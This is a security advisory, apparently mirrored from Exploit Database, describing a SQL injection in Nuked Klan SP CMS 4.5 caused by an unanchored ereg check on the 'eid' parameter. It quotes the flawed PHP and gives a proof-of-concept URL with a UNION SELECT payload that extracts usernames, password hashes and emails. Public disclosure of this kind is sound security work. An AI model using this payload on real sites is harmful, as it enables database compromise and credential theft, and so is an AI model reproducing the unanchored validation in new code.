Nuked Klan SP CMS 4.5 – SQL Injection

• Exploit Database
• 12 阅读

• 作者： Vulnerability-Lab
  日期： 2012-06-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19188/

• Title:
  ======
  Nuked Klan SP CMS v4.5 - SQL injection Vulnerability
  
  
  Date:
  =====
  2012-06-09
  
  
  References:
  ===========
  http://www.vulnerability-lab.com/get_content.php?id=610
  
  
  VL-ID:
  =====
  610
  
  
  Common Vulnerability Scoring System:
  ====================================
  8
  
  
  Introduction:
  =============
  Nuked-Klan is an open source CMS. It allows you to install and administer a website in a simple and interactive.
  It simply requires a hosting PHP / MySQL to work. Nuked-Klan is specialized in network games and clan management 
  with its version Gamer, however, a general version of SP is named.
  
  (Copy of the Vendor Homepage: http://www.nuked-klan.org/ )
  
  
  Abstract:
  =========
  The Vulnerability Laboratory Research Team discovered a critical sql vulnerability and regex ereg bypass in the Nuked Klan SP v4.5 CMS.
  
  
  Report-Timeline:
  ================
  2012-06-08:Public Public Disclosure
  
  
  Status:
  ========
  Published
  
  
  Exploitation-Technique:
  =======================
  Remote
  
  
  Severity:
  =========
  High
  
  
  Details:
  ========
  A SQL Injection vulnerability & a misconfiguration are detected in the Nuked Klan SP v4.5 Content Management System.
  The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own 
  sql commands on the affected application dbms without user inter action. Successful exploitation of the 
  vulnerability results in dbms & application compromise. The vulnerabilities are located in misconfigured 
  regex ereg condition when processing to request the eid variable.
  
  Vulnerable File(s):
  [+] index.php
  
  Vulnerable Parameter(s):
  [+] eid
  
  
  Proof of Concept:
  =================
  The sql injection vulnerability can be exploited by remote attackers without required user inter action.
  For demonstration or reproduce ...
  
  Before continuing to exploit, you need to know the procedure about how"Eid" variableis handled (behind).
  First the user is sending a GET request with "eid" as argument then it passed to the function `show_event()`. 
  Now we review the content of the file "/modules/Calendar/index.php " as example ...
  
  function show_event()
  {
  global $bgcolor2, $eid, $type, $d, $m, $y, $user, $nuked, $theme, $language;
  
  if ($type == "birthday" && ereg("[a-zA-Z0-9]+$", $eid)) 
  {
  $sql = mysql_query("SELECT pseudo, prenom, age FROM " . USER_TABLE . " WHERE id = '" . $eid . "'");
  list($pseudo, $prenom, $birthday) = mysql_fetch_array($sql);
  $pseudo = stripslashes($pseudo);
  $prenom = stripslashes($prenom);...
  
  This function will check if a variable contains only alpha-num characters or not, as you can see on this regex
  ereg("[a-zA-Z0-9]+$", $eid)the programmer has forget to add begin check `^`. Remote attackers can bypass the 
  validation by addingany own special character like(+,--,#,% ) followed by the string to validate the above condition.
  
  PoC:
  http://127.0.0.1:80/nk/index.php?file=Calendar&nuked_nude=index&op=show_event&eid=
  0'union+select+version(),concat(pseudo,0x3a,pass,0x3a,email),3+from+nuked_users+where%20'vuln-lab'='vuln-lab&type=birthday 
  
  
  Risk:
  =====
  The security risk of the sql injection vulnerability is estimated as high.
  
  
  
  Credits:
  ========
  Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com)
  
  
  Disclaimer:
  ===========
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